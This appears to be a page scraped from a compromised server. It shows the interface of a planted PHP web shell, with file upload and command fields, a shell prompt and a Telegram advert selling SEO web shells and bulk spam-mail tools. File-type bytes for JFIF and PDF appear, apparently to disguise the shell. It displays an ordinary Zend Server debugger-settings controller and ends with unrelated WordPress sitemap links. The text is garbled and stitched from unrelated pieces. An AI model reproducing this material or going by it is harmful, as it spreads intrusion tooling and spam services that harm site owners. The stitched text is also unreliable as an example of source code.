xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace StudioIntegration\Controller;

use ZendServer\Mvc\Controller\ActionController;
use Zend\Stdlib\Parameters;
use Application\Module;
use ZendServer\Configuration\Manager,
    Zend\View\Model\ViewModel;

class IndexController extends ActionController
{

    public function oldIndexAction()
    {
        $mapper = $this->getLocator()->get('StudioIntegration\Mapper');
        $config = $mapper->getConfiguration();

        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives');

        $studioConfigForm = $this->getLocator()->get('StudioIntegration\Form\Configuration');
        $studioConfigForm->setData($studioConfigForm->getHydrator()->extract($config));
        $studioConfigForm->setObject($config);

        $extensionsMapper   = $this->getLocator()->get('Configuration\MapperExtensions');
        $zendDebuggerLoaded = $extensionsMapper->isExtensionLoaded('Zend Debugger');
        $xdebugLoaded       = $extensionsMapper->isExtensionLoaded('xdebug');

        // Choose Debugger Form
        $chooseDebuggerForm = $this->getLocator()->get('StudioIntegration\Form\ChooseDebugger');
        $chooseDebuggerForm->setData(array(
            'Debugger' => $zendDebuggerLoaded ? 'Zend Debugger' : ($xdebugLoaded ? 'xdebug' : 'none')
        ));

        // Xdebug settings form
        $xdebugForm          = $this->getLocator()->get('StudioIntegration\Form\Xdebug');
        $xdebugSettings      = $directivesMapper->getDirectivesValues(array(
            'xdebug.remote_enable', 'xdebug.remote_host', 'xdebug.remote_port', 'xdebug.remote_handler', 'xdebug.ide_key'
        ));
        $xdebugSettingsFixed = array();
        array_walk($xdebugSettings,
            function($elem, $key) use (&$xdebugSettingsFixed) {
            $xdebugSettingsFixed[str_replace('xdebug.', '', $key)] = $elem;
        });
        $xdebugSettings = $xdebugSettingsFixed;
        $xdebugForm->setData($xdebugSettings);

        // IDEIntegration form
        $ideIntegrationForm = $this->getLocator()->get('StudioIntegration\Form\IdeIntegration');
        $ideIntegrationForm->setData($studioConfigForm->getHydrator()->extract($config));


        // Zend Debugger Hosts List
        $studioHostsLists = $this->getLocator()->get('StudioIntegration\Form\HostsList');
        $debuggerAllowed  = $directivesMapper->getDirectiveValue('zend_debugger.allow_hosts', true);
        $debuggerDenied   = $directivesMapper->getDirectiveValue('zend_debugger.deny_hosts', true);
        $studioHostsLists->setData(array(
            'studioAllowedHostsList' => $debuggerAllowed,
            'studioDeniedHostsList' => $debuggerDenied
        ));

        // set the browser ip as default studio host and also propose to add it to allowed host
        $browserHost = $this->getBrowserRemoterAddress();
        if ($browserHost) {
            $studioConfigForm->get('studioHost')->setOptions(array('default' => $browserHost));
            $studioHostsLists->get('studioAllowedHostsList')->setOptions(array('default' => $browserHost));
        }

        return array(
            'pageTitle' => 'IDE Intergration',
            'pageTitleDesc' => '', /* Daniel */
            'studioConfig' => $config,
            'studioHostsLists' => $studioHostsLists,
            'zendDebuggerLoaded' => $zendDebuggerLoaded,
            'xdebugLoaded' => $xdebugLoaded,
            'studioConfigForm' => $studioConfigForm,
            'chooseDebuggerForm' => $chooseDebuggerForm,
            'xdebugForm' => $xdebugForm,
            'ideIntegrationForm' => $ideIntegrationForm,
        );
    }

    public function indexAction()
    {

        /* @var $directivesMapper \Configuration\MapperDirectives */
        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives');

        /* @var $directivesMapper \Configuration\MapperExtensions */
        $extensionsMapper = $this->getLocator()->get('Configuration\MapperExtensions');

        // STEPS //
        // (1) get current active debugger
        $zendDebuggerLoaded = $extensionsMapper->isExtensionLoaded('Zend Debugger');
        $xdebugLoaded       = $extensionsMapper->isExtensionLoaded('xdebug');
        $activeDebugger     = $zendDebuggerLoaded ? 'Zend Debugger' : ($xdebugLoaded ? 'xdebug' : 'none');

        // (2) get allowed/denied hosts
        $allowedHosts = $directivesMapper->getDirectiveValue('zend_debugger.allow_hosts', true);
        $deniedHosts  = $directivesMapper->getDirectiveValue('zend_debugger.deny_hosts', true);

        // (3) get IDE client settings (autodetect IDE, ide host, port, ssl)
        // (4) get IDE integration settings (break on first line, use remote)
        /* @var $directivesMapper \StudioIntegration\Configuration */
        $ideSettings = $this->getLocator()->get('StudioIntegration\Mapper')->getConfiguration();

        // (5) get Xdebug settings
        $xdebugSettings = $directivesMapper->getDirectivesValues(array(
            'xdebug.remote_enable',
            'xdebug.remote_host',
            'xdebug.remote_port',
            'xdebug.remote_handler',
            'xdebug.idekey'
        ));

        // check the OS
        $manager = new Manager();
        $isIBMi  = ($manager->getOsType() === Manager::OS_TYPE_IBMI);

        return array(
            'pageTitle' => 'Debugger',
            'debuggerSettings' => $this->getServiceLocator()->get('StudioIntegration\Form\DebuggerSettings'),
            'formData' => array(
                'ActiveDebugger' => $activeDebugger,
                // security
                'studioAllowedHostsList' => $allowedHosts,
                'studioDeniedHostsList' => $deniedHosts,
                // ide settings
                'studioAutoDetection' => $ideSettings->getAutoDetect(),
                'studioHost' => empty(trim($ideSettings->getHost())) ? $this->getBrowserRemoterAddress() : $ideSettings->getHost(),
                'studioAutoDetectionEnabled' => $ideSettings->getBrowserDetect(),
                'studioPort' => $ideSettings->getPort(),
                'studioUseSsl' => $ideSettings->getSsl(),
                // integration
                'studioBreakOnFirstLine' => $ideSettings->getBrakeOnFirstLine(), // $integrationSettings['zend_gui.studioBreakOnFirstLine'],
                'studioUseRemote' => $ideSettings->getUseRemote(), // $integrationSettings['zend_gui.studioUseRemote'],
                // xdebug
                'remote_enable' => !isset($xdebugSettings['xdebug.remote_enable']) || trim($xdebugSettings['xdebug.remote_enable'])
                == '' ? '1' :
                (isset($xdebugSettings['xdebug.remote_enable']) ? (boolean) $xdebugSettings['xdebug.remote_enable'] : '1'),
                'remote_handler' => isset($xdebugSettings['xdebug.remote_handler']) && !empty($xdebugSettings['xdebug.remote_handler'])
                    ? $xdebugSettings['xdebug.remote_handler'] : 'dbgp',
                'remote_host' => isset($xdebugSettings['xdebug.remote_host']) && !empty($xdebugSettings['xdebug.remote_host'])
                    ? $xdebugSettings['xdebug.remote_host'] : '127.0.0.1',
                'remote_port' => isset($xdebugSettings['xdebug.remote_port']) && !empty($xdebugSettings['xdebug.remote_port'])
                    ? $xdebugSettings['xdebug.remote_port'] : 9000,
                'idekey' => isset($xdebugSettings['xdebug.idekey']) && !empty($xdebugSettings['xdebug.idekey']) ? $xdebugSettings['xdebug.idekey']
                    : '',
            ),
            'isIBMi' => $isIBMi,
        );
    }

    /**
     * Export an event issue with all the required information to reproduce the event
     * 
     * @api
     * @version 1.3
     * @section Monitoring
     * @method GET
     * @param integer eventsGroupId
     * @response file attachment
     * 
     * @return Response
     */
    public function exportIssueByEventsGroupAction()
    {
        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        $request->setQuery(new Parameters($request->getQuery()->toArray()));
        $this->forward()->dispatch('StudioWebApi-1_3', array('action' => 'monitorExportIssueByEventsGroup'));
        $this->getEvent()->setParam('do-not-compress', true);
        return $this->getResponse();
    }

    /**
     * @return string
     */
    private function getBrowserRemoterAddress()
    {
        $browserRemoteAddress = $_SERVER['REMOTE_ADDR'];
        // Special case of IPv6 local loopback
        if ('::1' == $browserRemoteAddress) {
            $browserRemoteAddress = '127.0.0.1';
        }
        // Special case of IPv6 which holds an IPv4 address (e.g. ::ffff:10.1.1.1) bug #30319
        if (0 === strpos($browserRemoteAddress, '::ffff:')) {
            $browserRemoteAddress = substr($browserRemoteAddress, 7);
        }
        return $browserRemoteAddress;
    }

    public function getConfigAction()
    {
        /* @var $directivesMapper \Configuration\MapperDirectives */
        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives');

        /* @var $directivesMapper \Configuration\MapperExtensions */
        $extensionsMapper = $this->getLocator()->get('Configuration\MapperExtensions');

        // STEPS //
        // (1) get current active debugger
        $zendDebuggerLoaded = $extensionsMapper->isExtensionLoaded('Zend Debugger');
        $xdebugLoaded       = $extensionsMapper->isExtensionLoaded('xdebug');
        $activeDebugger     = $zendDebuggerLoaded ? 'Zend Debugger' : ($xdebugLoaded ? 'xdebug' : 'none');

        // (2) get allowed/denied hosts
        $allowedHosts = $directivesMapper->getDirectiveValue('zend_debugger.allow_hosts', true);
        $allowFromAll = $directivesMapper->getDirectiveValue('zend_debugger.allow_from_all', true);
        $deniedHosts  = $directivesMapper->getDirectiveValue('zend_debugger.deny_hosts', true);

        // (3) get IDE client settings (autodetect IDE, ide host, port, ssl)
        // (4) get IDE integration settings (break on first line, use remote)
        /* @var $directivesMapper \StudioIntegration\Configuration */
        $ideSettings = $this->getLocator()->get('StudioIntegration\Mapper')->getConfiguration();

        // (5) get Xdebug settings
        $xdebugSettings = $directivesMapper->getDirectivesValues(array(
            'xdebug.remote_enable',
            'xdebug.remote_host',
            'xdebug.remote_port',
            'xdebug.remote_handler',
            'xdebug.idekey'
        ));

        $settings = array(
            'activeDebugger' => $activeDebugger,
            // security
            'studioAllowFromAll' => $allowFromAll,
            'studioAllowedHostsList' => $allowedHosts,
            'studioDeniedHostsList' => $deniedHosts,
            // ide settings
            'studioAutoDetection' => $ideSettings->getAutoDetect() ? 1 : 0,
            'studioHost' => empty(trim($ideSettings->getHost())) ? $this->getBrowserRemoterAddress() : $ideSettings->getHost(),
            'studioAutoDetectionEnabled' => $ideSettings->getBrowserDetect() ? 1 : 0,
            'studioAutoDetectionPort' => intval($ideSettings->getAutoDetectionPort()),
            'studioPort' => intval($ideSettings->getPort()),
            'studioUseSsl' => $ideSettings->getSsl() ? 1 : 0,
            // integration
            'studioBreakOnFirstLine' => $ideSettings->getBrakeOnFirstLine() ? 1 : 0, // $integrationSettings['zend_gui.studioBreakOnFirstLine'],
            'studioUseRemote' => $ideSettings->getUseRemote() ? 1 : 0, // $integrationSettings['zend_gui.studioUseRemote'],
            // xdebug
            'remote_enable' => (!isset($xdebugSettings['xdebug.remote_enable']) || trim($xdebugSettings['xdebug.remote_enable'])
            == '' ? '1' :
            (isset($xdebugSettings['xdebug.remote_enable']) ? (boolean) $xdebugSettings['xdebug.remote_enable'] : '1') )
                ? 1 : 0,
            'remote_handler' => isset($xdebugSettings['xdebug.remote_handler']) && !empty($xdebugSettings['xdebug.remote_handler'])
                ? $xdebugSettings['xdebug.remote_handler'] : 'dbgp',
            'remote_host' => isset($xdebugSettings['xdebug.remote_host']) && !empty($xdebugSettings['xdebug.remote_host'])
                ? $xdebugSettings['xdebug.remote_host'] : '127.0.0.1',
            'remote_port' => isset($xdebugSettings['xdebug.remote_port']) && !empty($xdebugSettings['xdebug.remote_port'])
                ? intval($xdebugSettings['xdebug.remote_port']) : 9000,
            'idekey' => isset($xdebugSettings['xdebug.idekey']) && !empty($xdebugSettings['xdebug.idekey']) ? $xdebugSettings['xdebug.idekey']
                : '',
        );

        $view = new ViewModel();
        $view->setTerminal(true);
        $view->setVariable('response', array('settings' => $settings));
        $view->setTemplate('deployment/wizard/upload-json');
        return $view;
    }
}

Filemanager

Name Type Size Permission Actions
IndexController.php File 12.6 KB 0644
WebAPIController.php File 38.46 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml